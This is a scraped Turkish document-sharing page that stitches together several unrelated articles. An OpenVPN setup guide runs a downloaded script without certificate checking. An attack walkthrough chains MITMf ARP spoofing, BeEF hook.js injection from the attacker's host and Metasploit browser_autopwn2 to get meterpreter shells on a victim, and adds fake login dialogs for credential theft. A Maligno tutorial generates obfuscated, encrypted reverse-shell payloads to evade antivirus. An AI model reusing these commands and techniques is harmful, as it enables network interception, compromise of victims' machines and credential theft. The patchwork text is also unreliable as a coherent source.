Sonrasında bahsini ettiğimiz scripti çalıştıralım. Github linki burada.

Benzer belgeler
Anti-Virüs Atlatma 2. Kurulum

Anti-Virüs Atlatma 3. Kurulum

Anti-Virüs Atlatma 1. Resimden anlaşıldığı üzere 56 anti-virüs yazılımından 36 tanesi zararlı yazılım olduğunu doğrulamıştır.

Anti-Virus Atlatma - Maligno Kullanımı

Anti-Virus Atlatma Maligno Kullanımı

MITMf + BeEF + Metasploit = Exploit Combo

Sonrasında bahsini ettiğimiz scripti çalıştıralım. Github linki burada.

Anti-Virus Atlatma - Maligno Kullanımı

XSS Exploitation via CHEF

Armitage Nedir? Kullanım Öncesi

WAMP SERVER KURULUMU

Data Link Katmanı olarak adlandırılır. Fiziksel adresleme bu katmanda yapılır.

CYGWIN KURULUMU ve KULLANIMI

HAZIRLAYAN BEDRİ SERTKAYA Sistem Uzmanı CEH EĞİTMENİ

Clonezilla Server ile Ağ Üzerinden Çoklu İmaj Yükleme

MICROSOFT SQL SERVER SIZMA VE GÜVENLİK TESTİ ÇALIŞMALARI

06 - Bilgi Toplama ve Sosyal Mühendislik

Sonrasında bahsini ettiğimiz scripti çalıştıralım. Github linki burada.

e-imzatr Kurulum Klavuzu

Düşünüyorum! Biraz tarihçe.. Maalesef yanılıyorsunuz.


İstemci Tabanlı Saldırı Türleri. Ozan UÇAR

Turquaz Windows kurulum dökümanı. ftp://ftp.mirror.ac.uk/sites/ftp.postgresql.org/binary/v7.3.1/windows/pgsql731wina1.exe

AKINSOFT. Eofis NetworkAdmin. AKINSOFT EOfis NetworkAdmin Kurulumu Bilgi Notu. Doküman Versiyon : Tarih : Copyright 2008 AKINSOFT

ADIM ADIM METASPLOIT METERPRETER SHELL DAVRANIŞ ANALİZİ

3CX Phonesystem Türkçe Anonsları Windows ve Linux İşletim Sistemlerinde Aktif Etme

KULLANICI KILAVUZU: UEA FİX KULLANICILARININ SSLVPN ERİŞİMİ İMKB İÇİNDEKİLER

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat

UNIVERSAL REPEATER (TEKRARLAYICI/GENİŞLETİCİ MODU)

Ders Tanıtım Sunumu. Internet Programming II. Elbistan Meslek Yüksek Okulu Bahar Yarıyılı. 26 Şub Öğr. Gör.

MaestroPanel Kurulum

Değerli Datasoft Kullanıcısı;

Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)

e-imzatr Kurulum Klavuzu

Yerel Ağlarda Port 139 ve Saldırı Yöntemi

1. PROGRAM KURMA 1.1 LİNUX PROGRAMLARINI KURMA Yazılım Merkezi ile Program Kurma

Linux Ubuntu Kurulumu

DESTEK DOKÜMANI. Ürün : Tiger Enterprise/ Tiger Plus/ Go Plus/Go Bölüm : Kurulum İşlemleri

SAMURAİ FRAMEWORK İLE HACKİNG-1 (FOOTPRINTING)

BEUN VPN Hizmeti. VPN Nedir?

Subnet A da bulunan DHCP Server makinesinin ve client makinenin IP yapılandırması aşağıdaki gibidir.

Kurumsal Güvenlik ve Web Filtreleme

JasperReports Server ve Ireport raporlama Sistemi Kurulumu / Kullanımı 1. Bölüm 2. Bölüm 1- JasperReports Server ve Ireport Nedir?

Kurumsal Güvenlik ve Web Filtreleme

Bu makalede 2003 sunucu, Windows 2003 Server anlamına gelmektedir. Aşağıda yapılan işlemler 2003 R2 sunucu üzerinde denenmiş ve çalıştırılmıştır.

Network üzerinde MATLAB kurulması

Kaynak Kodlardan Derleme. Turquaz Muhasebe. Versiyon 0.2. Hüseyin Ergün. 26 Mart 2005

BLGM 354 DENEY 1 * GİRİŞ

Web Servis-Web Sitesi Bağlantısı

NBG416N. Kullanım Kılavuzu ve Garanti Kartı NBG416N

Smoothwall URL Filter Kurulumu

FIRAT ÜNİVERSİTESİ WEB TABANLI KÜTÜPHANE OTOMASYONU

Internet Programming II

NPratik Yazılım Kurulum Kılavuzu. Yedekleme İşlemi

RPMNET WOLVOX REPORTER

P-TECH RF MODEM İLE MODBUS TCP HABERLEŞME

ELEKTRONİK BELGE YÖNETİM SİSTEMİ KOORDİNATÖRLÜĞÜ (EBYS KOORDİNATÖRLÜĞÜ) ELEKTRONİK İMZA KURULUM AŞAMALARI VE EBYS PROGRAMI SİSTEM GEREKSİNİMLERİ

TL-WPS510U PRINT SERVER KURULUM DÖKÜMANI

Ubuntu Terminal Server Ve Uzak Masaüstü Sunucusu

"SQL Server Management Studio" yazılımını yüklemek için alttaki resmi sitesinden 180 günlük deneme sürümünü indirebilirsiniz.

Lisanslama Sistemi ve Set Yükleme İşlemleri

Windows Server 2012 Kurulum Hazırlıkları. Windows Server 2012 Kurulum Seçenekleri. Windows Server 2012 Kurulum Adımları. Full GUI Kurulum Seçeneği

Bu bölüm V- Ray License Server lisans sunucusu uygulamasının kurulumundan

Open-VPN Kurulumu ve SSH Bağlantı Ayarları (Windows İçin)

Windows 7'ye Format Atmak, XP Repair ve XP Kurmak

06 - Bilgi Toplama ve Sosyal Mühendislik

P-TECH RF MODEM MODBUS SERİ HABERLEŞME KILAVUZU

INTERNET INFORMATION SERVICES 6.0 DA WEB SAYFASI YAYINLAMAK

Erişim Noktası Ayarları

Trend Micro Worry-Free Business Security 8.0 İlk Kez Kurulumla İlgili İpuçları ve Püf Noktaları

BİL BİLGİSAYAR PROGRAMLAMA (JAVA)

ecyber Kullanıcı Kılavuzu 1 / 1 1. ecyber hakkında Sistem gereksinimleri:... 2 Donanım:... 2 Yazılım: Kullanım Rehberi...

Metasploit Framework ile Güvenlik Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı fatih.ozavci at gamasec.net

Doğru Adaptor soket kutuplaması.

TÜRKİYE NOTERLER BİRLİĞİ

Kurulum ve Başlangıç Kılavuzu. DataPage için

11 SÜRÜM İLE EKLENEN ÖZELLİKLER/DEĞİŞİKLİKLER ( V7 (B1554) )

Linux Kurulumu (Sürüm 1.52) İçindekiler

Nova Dental D Ana Makine Kurulum (Windows Server XP Home/Pro)

UZAKTAN ÖĞRETİM SİSTEMİ ORYANTASYON EĞİTİMİ BŞEÜ CANLI DERS SİSTEMİ

Program Kurulum. Turquaz Muhasebe. İçindekiler

Proticaret Exclusive Versiyon Yükseltme Dokümanı(v.3.0'dan v3.1.0'a)

CELAL BAYAR ÜNİVERSİTESİ KÜTÜPHANE VERİTABANLARINA ÜNİVERSİTE DIŞINDAN ERİŞİM

Windows Server 2012 DHCP Kurulum ve Yapılandırma

T. C. İSTANBUL TEKNİK ÜNİVERSİTESİ Bilişim Enstitüsü ENFORMASYON SİSTEMLERİNİN TASARIMI VE YÖNETİMİ

IPACK LADDER. Arayüz Dökümantasyonu

PERKON PDKS Kurulum ve hızlı başlangıç rehberi

AKINSOFT Franchise Server 2 Yardım Dokümanı

Kurulum; Ana Bilgisayar ve Tahtalara ayrı ayrı yapılmaktadır. KURULUM ŞEMASI x.x x.x x.x x.

Metasploit Framework ile Güvenlik Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı

KALİ SUNUCUDA TOR, PROXYCHAINS, PRIVOXY, TOR- TUNNEL KURULUMU VE KULLANIMI

Örnek bir kullanım ve bilgisayar ağlarını oluşturan bileşenlerin özeti

HACETTEPE ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ BİLGİSAYAR AĞLARI LABORATUVARI DENEY 5. Yönlendiricilerde İşlem İzleme ve Hata Ayıklama

Ağ Sızma Testleri ve 2. Katman Saldırıları Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

EC-485. Ethernet RS485 Çevirici. İstanbul Yazılım ve Elektronik Teknolojileri

UBNT. UniFi mfi Ububntu. Ubuntu İşletim Sistemi ve UniFi/mFi Yazılımlarının Kurulumu

ETKİLEŞİMLİ TAHTA KORUMA SİSTEMİ KURULUM

SQL SERVER 2005 ENTEGRE SQL (VTY) VERİ TABANI YÖNETİM KURULUMU RESİMLİ ANLATIMI. Entegre SQL kurmadan önce SQLSERVER 2005,i kuralım öncelikle.

Rezistivite Cihazı Kullanım Klavuzu

INTERNET BAĞLANTISININ KURULMASI İÇİN GEREKLİ YÖNLENDİRİCİ AYARLARI

Transkript:

Linux Sunucuya Kurulumu ve İstemciden Bağlanma OpenVPN Windows VPN, engelli sitelere girmek veya görülmesini istemediğiniz trafiğiniz olduğu zaman işe yarar. Etrafta ücretsiz VPN ler çokca olsada bunların sunucularında duran logların başkalarına verilmediğini veya trafiğinizin ne kadar güvende olduğunu bilemezsiniz. Bu yüzden bu yazıda kendi server ımıza OpenVPN kurulumunu kısaca yazacağım. (Ben DigitalOcean dan kiraladığım VPS ime Debian 7.0 x64 kurdum ama Ubuntu ve CentOS ta da çalışır.) OpenVPN kurulumu ile ilgili yazılar aradığınızda (How to install openvpn on blabla) çokca uzun ve kurarken canınızdan bezmenize neden olabilecek bir ton olay göreceksiniz. Bunun böyle olduğunun farkına varanlar sağolsunlar işi bir bash script yazarak halletmişler. Ki bunu Github ta forklayan da 300 ün üstünde kişi var, yani OpenVPN den biz çektik siz çekmeyin diyip geliştirmeye yardım etmişler. Kurulum Önce sistemimize update & upgrade yapıyoruz. apt-get update && apt-get upgrade Sonrasında bahsini ettiğimiz scripti çalıştıralım. Github linki burada. Sağolsunlar yazdıkları küçük bir komut zinciri ile Github a uğramamızada gerek kalmıyor. wget git.io/vpn --no-check-certificate -O openvpn-install.sh; bash openvpn-install.sh Bu satırı komut satırımıza girdiğimizde bash scripti indirip

çalıştıracak ve bize server IP imizi soracak. Kendisi zaten IP adresimizi bulduktan sonra soruyor, teyit ettirmek için yani. Sonrasında OpenVPN için hangi porttan dinleme yapacağını soruyor. Buraya da OpenVPN için default port numarası olan 1194 değerini girip bize soruyor. Bunu herhangi bir değere set edebilirsiniz. Sonrasında sorduğu soruları uzatmadan enterlayıp geçiyoruz ki kendisi defaultta n vermiş. Sonrasında hangi DNS i kullanmak istediğinizi soruyor. Sistemin kullandığı DNS i kullanmasını söyleyip 1 diyoruz. Ardından gerekli ayarlamaları yaptığı sırada bağlanacağımız client için bir isim soruyor. Default olarak client denmiş. Ben bunu Gundy olarak değişiriyorum ve geçiyorum.

Sonrasında konfigürasyonlar için alacağı bilgileri bitirdi ve bizden devam için bir tuşa basmamızı istiyor. Ve önce kurulum, ardından konfigürasyonları yapıyor. Bunlardan biri bağlanmamız için gereken 2048 bitlik RSA Private Key. Anahtarı ürettikten sonra servisleri yeniden başlatacaktır ve kullanıma hazır hale gelecektir. Windows makinemizden OpenVPN client ıyla bağlandığımız sırada kullanacağımız gerekli bilgileri içeren konfigürasyon dosyası ana dizinimizde, ayarlamalar sırasında belirttiğimiz kullanıcı ismimizle oluşturulmuş ve bizi bekliyor. WinSCP veya benzeri bir uygulama ile server dan ovpn uzantılı dosyamızı çekiyoruz. Bu dosyayı OpenVPN in kurulu olduğu

dizindeki config klasörünün altına atıp OpenVPN istemcimizi çalıştırıyoruz. Yönetici olarak çalıştırmayı unutmayın! Tabi çalıştırdığımız zaman küçük bir ikon haline gelip görev çubuğunda görünüyor.sağ tıklayıp Bağlan diyoruz ve bağlantının oluşturulmasını bekliyoruz. Ardından bağlantıyı sağlamaya çalışıyor TLS paketleri yollayıp alıyor.

Ve bağlantı kurulduğu zaman bize bağlandığımız network ten atanan IP ile beraber bildiren bir uyarı çıkıyor. (Yapacaklarınız bekleme süresiyle beraber 3-5 dakika.) MITMf + BeEF + Metasploit =

Exploit Combo ARP Poisoning/Spoofing ile bir network içerisinde çeşitli saldırılar yapılabilir. Örnek olarak aynı ağda bulunduğumuz kurban veya kurbanların trafiğini üstümüze alabiliriz. Yerel ağ içerisinde makineler birbirleriyle haberleşirken MAC adreslerini kullanırlar. Bu olay OSI modelindeki 2. katman olan Data Link Layer da gerçekleşmektedir. Ağda bulunan makineler broadcast ile yaydıkları paket sonrası aynı ağda bulunan diğer makinelerin IP-MAC eşleştirmesini yapar. IP-MAC eşleştirmesinin bulunduğu yer ARP (Address Resolution Protocol) tablosudur. Yerel ağda haberleşmek istenilen iki makine arasında kurulacak bağlantı öncesinde ARP tablosundan bakılarak iletişimin kurulacağı IP ye denk düşen MAC adresi bulunur ve işlemler bu MAC adresi üstünden gerçekleşir. ARP Poisoning saldırısında, seri şekilde gönderilen ARP paketleri ile kurban ve router arasına girilir. Yazıda ARP spoofing ile gerçekleştirilebilecek saldırılardan olan MITM (Man In The Middle Ortadaki Adam) anlatılacaktır.mitm saldırısının gerçekleştirilmesi sırasında saldırgan ve kurban arasında gerçekleşen trafiği aşağıdaki gibi açıklayabiliriz. Trafiği yönlendiren cihaza(router/switch), kurbanın MAC adresi diye saldırganın MAC adresi gönderilerek, saldırgan kendini, kurban olarak taklit eder ve cihazın ARP tablosunda IP-MAC eşleştirmesi bu şekilde görünür. Kurban a, router MAC adresi diye saldırgan MAC adresi gönderilerek kurbanın ARP tablosundaki router MAC adresi saldırganın MAC adresiyle değiştirilir. Poisoning için gönderilen paketler sahte ARP paketleridir. Bir resim ile olayı özetlemek gerekirse;

ARP spoofing ile gerçekleştirilen bu saldırıda (MITM), saldırgan olan kişi kurban veya kurbanların tüm trafiğini üstüne alabilir. Şifrelenmemiş bir şekilde giden trafikteki tüm özel bilgileri okuyabilir. ARP Spooging ile ilgili ayrıntılı bilgi için: https://tr.wikipedia.org/wiki/arp_zehirlenmesi adresi ziyaret edilebilir. MITMf MITMf (Man-In-The-Middle Attack Framework), MITM saldırıları için byt3bl33d3r tarafından geliştirilen bir MITM saldırı aracıdır. İçerisinde bir çok saldırı modülü bulunmaktadır. Bu yazıda MITMf in inject modülünü kullanacağız. Inject modülü, HTML içeriğe müdahale etmemizi ve buna ek olarak kullanacağımız modül ile işlem yapmamızı sağlar. Ek modüllerden bazıları şunlardır: js-url, html-url ve htmlpayload. Js-url: İçeriğe zararlı Javascript kodu barındıran link gömmemizi sağlar.

Html-url: İçeriğe gizli bir iframe aracılığıyla html link gömmemizi sağlar. Html-payload: İçeriğe HTML kodlarını dahil etmemizi sağlar. BeEF BeEF (The Browser Exploitation Framework), XSS zafiyetlerini kullanarak ileri seviye saldırı işlemlerinin yapılabilmesine imkan tanıyan bir araçtır. Ürettiği Javascript kod içeren zararlı url e kurbanın yönlendirilmesi sonucu browser üstünde birçok saldırı gerçekleştirilebilmektedir. Kali linux ta kurulu bir şekilde gelmektedir. Depodan kolay bir şekilde kurulabilmektedir. Amaç Yazı kapsamında BeEF in üreteceği hook js adresini, MITMf ile üstümüze aldığımız kurban trafiğinde geçen sayfalara enjekte eden modülü kullanarak enjekte edeceğiz. Sonrasında BeEF ve Metasploit kullanarak kurban bilgisayarında shell açacağız. Metasploit + BeEF BeEF in konfigürasyon dosyalarında yapılacak bazı değişiklikler ile Metasploit i BeEF e entegre edebiliriz. Bu sayede Metasploit kullanabiliriz. üzerinde bulunan birçok exploit i Yazı kapsamında sadece entegrasyon işlemi gösterilecektir, shell açma işlemi entegrasyondan bağımsız bir şekilde gerçekleştirilecektir. Entegrasyonu işlemini gerçekleştirebilmek için BeEF konfigürasyon dosyasında kullanılacak extension lar kısmında Metasploiti aktifleştirmek gereklidir. BeEF klasöründe bulunan config.yaml dosyasının son satırlarında bulunan metasploit aktifleştirme için kullanılan değişkenin false değerine sahip alanı true olarak değiştirmemiz gerekmektedir. Dosyanın yolu;

/usr/share/beef-xss/config.yaml BeEF üstünde Metasploit eklentisinin çalışmasını sağladık. Metasploit tarafındaki bağlantıyı/işlemleri sağlayacak RPC modülünün konfigürasyonunun yapılması gerekmektedir. Bunun için BeEF tarafında Metasploite bağlantı sırasında kullanılacak kullanıcı adı, parola gibi seçeneklerin düzenlenmesi gerekmektedir. BeEF içerisinde çalışacak eklentilerin bulunduğu extensions klasörünün altında bulunan metasploit klasöründe bulunan config.yaml dosyasını düzenlememiz gerekmeketedir. Dosyanın yolu; /usr/share/beef-xss/extensions/metasploit/config.yaml

Burada bulunan değerleri, Metasploit içerisinde bulunan msgrpc modülüne bağlantı sırasında kullanacağımız için gerekli düzenlemeleri yapmamız gerekmektedir. Veya burada bulunan bağlantı değerlerini dikkate alarak Metasploit tarafında msgrpc modülünü uygun şekilde yüklememiz gerekmektedir. Metasploit tarafında bağlantıyı karşılayacak msgrpc modülünü yukarıdaki değerler ile yüklemek için; load msgrpc Pass=abc123 Metasploit, msgrpc modülü default olarak load edildiğinde 127.0.0.1 IP ve 55552 numaralı port üstünde bağlantıyı başlatmaktadır. Default kullanıcı adı msf, kullanıcı parolası ise random bir şekilde üretilmektedir. Her load sırasında bağlantı için 8 haneli karmaşık bir parola rastgele bir şekilde atanmaktadır. Bu yüzden BeEF in bağlantı sırasında kullanacağı parola olan abc123 veya kendi belirlediğimiz parolayı kullanarak msgrpc modülünü yüklemek için Pass parametresine gerekli değeri vererek yüklemeyi gerçekleştirmesini sağlayabiliriz. BeEF in çalıştırılması Linux deposunu kullanarak BeEF i kurmuşsak eğer direkt olarak komut satırından beef-xss diyerek, veyahut uygulamanın

bulunduğu klasöre giderek beef isimli ruby scriptini çalıştırmamız gerekmektedir. Resimden anlaşılacağı üzere entegrasyonu sağladığımız için Metasploit modülleride yüklenmiştir. Bilgisayarda bulunan tüm network inteface ler için ayrı ayrı 3000. port üzerinden BeEF kontrol panelini ve zararlı Js kodunu içeren url çalıştırmaktadır. Kontrol paneline erişmek için ui/panel ile biten herhangi bir url kullanılabilir. http://127.0.0.1:3000/ui/panel veya http://192.168.1.42:3000/ui/panel Üretilen zararlı js kodunu içeren url ise hook.js ile biten adreslerdir. Yerel ağda kullanmak için, bize ulaşılabilecek bir url i kullanmamız gerekmektedir. http://192.168.1.42:3000/hook.js gibi. BeEF kontrol paneline (http://127.0.0.1:3000/ui/panel) erişmek istediğimiz zaman gelen giriş ekranında, değiştirmediyseniz eğer, kullanıcı ve parola beef dir.

Giriş ekranından sonra aşağıdaki bir ekran bizi karşılamaktadır. Hooked Browsers alanında js içeren sayfaya gelmiş ve iletişimde olduğumuz IP leri içerir.burada bulunan Online ve Offline Browsers kısımları ise, aktif olan veya bağlantımızın koptuğu kurbanları gösterir. Getting Started sekmesi BeEF hakkında genel bilgiler veren bir ekrandır. Logs sekmesinde ise yapılan işlemlerin ID leriyle beraber hangi tipte işlemler olduğu, ne zaman ve hangi kurban browserı üstünde gerçekleştiği gibi bilgileri gösterir. Zararlı Js bulaştırılan kurbanlar olduktan ve bunları sol taraftaki menüden seçtikten sonra Current Browser sekmesi gelmektedir. Tüm işlemler gerçekleştirilecektir. bu sekme altında

Bahsi geçen sekmeden bir görüntü aşağıdadır. Genel olarak, kurban ve browser hakkında bilgiler içeren Details sekmesi, seçilen browser üstünde yapılan işlemleri loglayan Logs sekmesi ve en önemlisi olan Commands sekmesi gibi alanları içermektedir. Commands sekmesi üzerinde kurbana karşı yapılacak saldırıların listesi kategorilere ayrılmış halde bulunmaktadır.

Saldırı Geriye kalan aşamaları özetlemek gerekirse; MITMf aracı ile ARP spoofing yapıp, inject modülünü kullanarak zararlı js kodu içeren linki trafiğe gömmek, Metasploit tarafında browser exploit modülü kullanmak. Biz bunun için browser ile alakalı exploitleri hızlı bir şekilde deneyen, otomatize edilmiş browser_autopwn2 modülünü kullanacağız. BeEF aracılığıyla, iframe veya redirection modülleriyle

exploitlerin bulunduğu url e kurbanı yönlendirmek. Önce MITMf ile ARP spoofing saldırısını gerçekleştirip kurbanın tüm trafiğini üstümüze alalım. Bunu MITMf ile gerçekleştirmek için aşağıdaki komut girilebilir. mitmf interface wlan0 target 192.168.1.43 gateway 192.168.1.1 arp spoof inject js-url http://192.168.1.42:3000/hook.js Girilen parametreleri açıklamak gerekirse, interface parametresi, saldırının gerçekleştirileceği network arayüzünü belirtmek için kullanılır. target parametresi, kurban veya kurbanların IP adreslerini belirtmek için kullanılır. Subnet şeklinde de kullanılabilir bir formatı vardır. gateway parametresi, trafiğimizi yönlendiren cihazın (router/switch vb) IP adresini belirtmek için kullanılır. ARP spoofing sırasında target parametresiyle kullanılacak olan değerlerdir. spoof parametresi, Spoofing modülünü kullanacağımız belirtmek için kullanılır. arp parametresi, spoofing için kullanılacak yöntemi belirtir. Diğer alt modüller: ICMP, DHCP, DNS. inject parametresi, HTML içeriklerine müdahale eden modülü çalıştırmayı sağlar. js-url parametresi, HTML içeriğe eklenecek olan ve BeEF tarafından üretilmiş, bizim kurbanın browser ına müdahale etmemizi sağlayan, Javascript kodu içeren linktir.

Metasploit Browser Exploitation Saldırıyı başlatıp, kurbanın trafiğini üstümüze aldıktan sonra, sıra Metasploit tarafında browser exploit modüllerini başlatmakta. Bunun için yukarıdaki satırlarda belirttiğimiz gibi browser_autopwn2 modülünü kullanacağız. Bu modül, bir önceki versiyonu olan browser_autopwn modülünün optimize edilmiş hali gibi düşünülebilir. Hızlı bir şekilde exploitleri deneyebilir. Bu modülü Metasploit üstünde kullanabilmek için, use auxiliary/server/browser_autopwn2 kullanılacak olan modülün hangi parametreleri kullandığına bakmak için, show options Resimde görüldüğü üzere değerinin girilmesi şart olan iki parametre vardır ve hali hazırda bunlar kullanılmıştır. Bir önceki versiyonundan farklı olarak INCLUDE_PATTERN ve EXCLUDE_PATTERN parametreleri eklenmiştir. Bu parametreler, yüklenecek ve denenecek exploitlerin dahil edilmesi veya hariç bırakılması manasına gelmektedir. Örneğin sadece java, flash, opera veya firefox exploitlerini dene veyahut tam tersi bunları veya bunlardan birilerini hiç deneme gibi.

Girilmesi zorunlu olmayan fakat oluşturulacak exploitlerin bulunduğu url i etkileyen URIPATH parametresine /pwned gibi bir uzantı veriyorum. Bu sayede oluşturulacak url /RandomKarakter formatında olmayacak ve girilen şekilde olacaktır. Bunların dışında pek bir değişikliğe gerek yoktur. Exploit veya run diyerek modülün exploitleri düzenleyip, server ı başlatıp, oluşturulan url i vermesini sağlayabiliriz. Modüller derecelerine ve yayınlanma tarihlerine göre belli bir sıraya sokulduktan sonra payloadlarıyla beraber yüklenerek zararlı URL oluşturulur. Görüldüğü üzere oluşturulan url, URIPATH parametresiyle verdiğimiz formatta oluşturulmuştur. http://192.168.1.42:8080/pwned

BeEF Kurbanın ziyaret ettiği sayfalara MITMf tarafından zararlı js linki enjekte edilmektedir. Kurbanın www.skype.com veya www.msn.com veyahut herhangi bir sayfayı ziyaret ettiği varsayılırsa, MITMf ile girdiğimiz komutun sonunda ekranda oluşacak görüntü aşağıdaki gibidir; Resimden de anlaşılacağı üzere zararlı, HTML sayfada enjekte edilmiştir. Peki MITMf tarafında bu olurken BeEF tarafında ne olmaktadır? BeEF i başlattığımız terminal ekranına baktığımızda ise zararlı js in işini başarıyla yaptığı görülecektir. Enjekte edilen browser, BeEF tarafında Hooked olarak geçmektedir.

Shell BeEF kontrol panelinde gördüğümüz üzere Hooked Browsers alanında bulunan Online Browsers kısmına kurbanın bağlantısı gelmiştir. Üzerine tıkladığımız vakit sağ taraftaki sekmelerin yanına işlemleri gerçekleştireceğimiz Current Browser sekmesi gelecektir. Modüller arasında yapılabilecek çok sayıda saldırı vardır. Kurban bilgisayarı hakkında bilgi almaktan, bulunulan network için port taraması yaptırmak, hangi uygulamaları kullandığını öğrenmek, webcam üzerinden görüntü almak, sosyal mühendislik saldırıları gerçekleştirmek gibi saldırıları gerçekleştirmek için gereken yüzlerce modül vardır. Shell invisible iframe Amacımız kurbanı, Metasploit tarafında oluşturduğumuz exploitleri içeren sayfaya yönlendirmek. Bu iş için kullanabileceğimiz modüllerden biri olan ve Misc modül ağacının altında bulunan Create Invisible Iframe modülünü kullanacağız. Ardından aynı işi farklı bir modül olan Redirect Browser (iframe) ile nasıl gerçekleştirileceğini göreceğiz. Invisible iframe modülünü açtıktan sonra resimde görüldüğü üzere tek bir parametre vardır ve bu oluşturulacak iframe içinde yönlendirilecek URL adresidir. Bu adrese Metasploit

tarafında oluşturduğumuz http://192.168.1.42:8080/pwned linkini yerleştirip Sağ alt köşede bulunan Execute komutuyla çalışmasını bekliyoruz. Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell dir. Shell Redirect Browser (iframe) Bu modül, Browser modül ağacının altında bulunan Hooked Domain

modüllerinin içerisinde yer almaktadır. Kullanılacak modül, kurbanın browser ında bulunan sayfadaki url üzerinde herhangi bir değişiklik yapmadan, sayfanın Title ve icon özelliklerini istediğimiz şekilde değiştirip yönlendirme yapmaktadır. Benzer şekilde iframe kullanmadan yönlendirme yapan Redirect Browser modülü de kullanılabilir. Burada bulunan bazı parametreleri açıklamak gerekirse; New Title: Yönlendirme sonunda oluşacak sayfanın başlığı. New Favicon: Yönlendirme sonunad oluşacak sayfanın ikonu. Redirect URL: Yönlendirilecek adres. Burada verilecek adres Metasploit tarafında oluşturduğumuz exploitlerin olduğu URL dir. Yönlendirme sonunda browser da şöyle bir görüntü oluşacaktır. Modülü çalıştırmadan evvel girdiğimiz değerler, browser da Hooklanmış sayfaya girdiğimiz şekilde yansımıştır. Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell dir.

Daha önce söylediğimiz üzere BeEF üzerinde çok sayıda modül vardır. Bu modüller ile örnekte yaptığımız gibi yönlendirme yapıp shell açabileceğimiz gibi, Fake update bildirimleri de çıkararak oluşturacağımız arka kapıyı kurbanların indirmelerini sağlayıp shell açabiliriz. İstediğimiz herhangi bir Javascript kodunu çalıştırabiliriz. Hooklanmış sayfada fake bir login ekranı gösterip kullanıcının giriş bilgilerini elde edilebiliriz. Örnek olarak Social Engineering modül ağacı altında bulunan Pretty Theft modülü kullanılarak Facebook, LinkedIn, Windows, Youtube gibi yerler için bilgiler alınabilir. Aşağıda Facebook ve Windows seçenekleri için modülün uygulanması sonucu sayfada gösterilen dialogların görüntüleri verilmiştir. Windows:

Facebook: Anti-Virus Atlatma Maligno Kullanımı Anti-virüs bypass yazı dizisinin başka bir bölümü olan Maligno aracını anlatan yazı ile devam edeceğiz. Maligno, Encripto tarafından, python diliyle yazılmış ve opensource olarak geliştirilen, Metasploit framework ün payload/shellcode üretme aracı olan msfvenom u kullanarak, meterpreter reverse http, https ve https proxy ile beraber pyton meterpreter reverse tcp bağlantılarını sağlayacak olan

shellcode ları üreterek AES ile şifreleyip ayrıca ürettiği python çıktısını obfuscate edip kullanıma hazır hale getirmektedir. Kurulum Yazı süresince yapılan işlemlerde Kali linux işletim sistemi kullanılmıştır. Maligno nun son sürümü dowload sayfasından indirilebilir. wget https://www.encripto.no/tools/maligno-2.4.tar.gz tar zxvf maligno-2.4.tar.gz # sıkıştırılmış dosya açılıyor cd maligno-2.4/ && bash install.sh Çalıştırılan bash script sistem güncellemesini yaptıktan sonra, gerekli paketleri yükleyecektir. Bundan sonra şifreleme için kullanılacak olan anahtar üretilmeye başlanacaktır. İlk olarak özel anahtarımız 2048 bitlik RSA ile üretilecek, ardından server için üretilecek olan ssl sertifikası için gerekli kısa bir kaç soruya yanıt vermemiz beklenmektedir. Bunların sonunda işlemler bitmiş olacak ve konfigürasyon dosyasını güncellememiz gerekecektir. Konfigürasyon Üretilecek olan zararlı yazılımlara ait bilgileri içeren server_config.xml dosyasını reverse bağlantı için kullanılacak olan sunucuya göre ayarlamamız gerekmektedir. Burada düzenlenmesi gereken bilgilerden bazıları; Metasploit payload ismi

Payloadlar için gerekli host adresi ve port numarası Hangi encode işleminden geçirileceği Encode işleminin kaç iterasyon işleminden geçeçeği Kullanılmasının istenmediği karakterler (badchars) Network scope alanı Bu alanlardan düzenlenmesi zaruri olan kısımlar, bilgisayarda kurulu olan Metasploit framework yolu ve LHOST alanlarıdır. İstenildiği takdirde, üretilen shellcode un geçirileceği encode tipi ve iterasyon sayısı veya reverse bağlantıda kurbanın bize geleceği port adresi gibi alanlar da değiştirilebilir. Maligno Server Maligno klasörü içerisinde bulunan ve kullanılabilecek dosyalardan biri olan maligno_srv.py, oluşturulacak olan zararlıların bulaştığı kurbanlar hakkında bilgilendirme sunan ve bu payloadlar için Metasploit tarafında kullanılabilecek Resource dosyalarını oluşturmaktadır. Aynı zamanda uygulamanın güncellemelerini de kontrol etmektedir. Maligno Client Generator Maligno klasörü içerisinde bulunan ve kullanılabilecek dosyalardan bir diğeri olan clientgen.py scripti,

Metasploit in meterpreter reverse http, https, https_proxy ve python meterpreter reverse tcp bağlantılarını elde edebilecek payloadları oluşturur. Çıktılar (clients klasöründe) python dosya formatındadır. Bunların yanında oluşturulan zararlı yazılımlar için Metasploit tarafında kullanılacak handler için payloadların resource dosyaları da oluşturulmaktadır (msfresource klasöründe). Oluşturulan zararlılar python dosya formatında verilmektedir. Enfekte işleminin yapılacağı makinede python interpreter yüklü ise normal bir python dosyasıymış gibi çalıştırabiliriz. Fakat bilgisayarda python yüklü olmayacağı gibi kullanılan python modülleri de yüklü olmayabilir ve bu yüzden dosya çalışma sırasında sıkıntılar yaratabilir. Bu yüzden python dosyamızı bazı yardımcı modüller (PyInstaller, Py2Exe, cx_freeze) ile çalıştırılabilir dosya formatı olan exe ye çevirebiliriz. Yazıda dönüştürme işlemi için PyInstaller kullanılacaktır. Bağlantıyı kurması için kullanılacak olan zararlıları oluşturmak için clientgen.py dosyasını kullanacağız. Bunun için; python clientgen.py -f server_config.xml -s true Burada -f parametresi için kullanılan argüman, içeriğini düzelttiğimiz konfigürasyon dosyası, -s parametresi ise hem resource dosyalarını oluşturur hemde scriptlerin çalıştırılabilmesini sağlar.

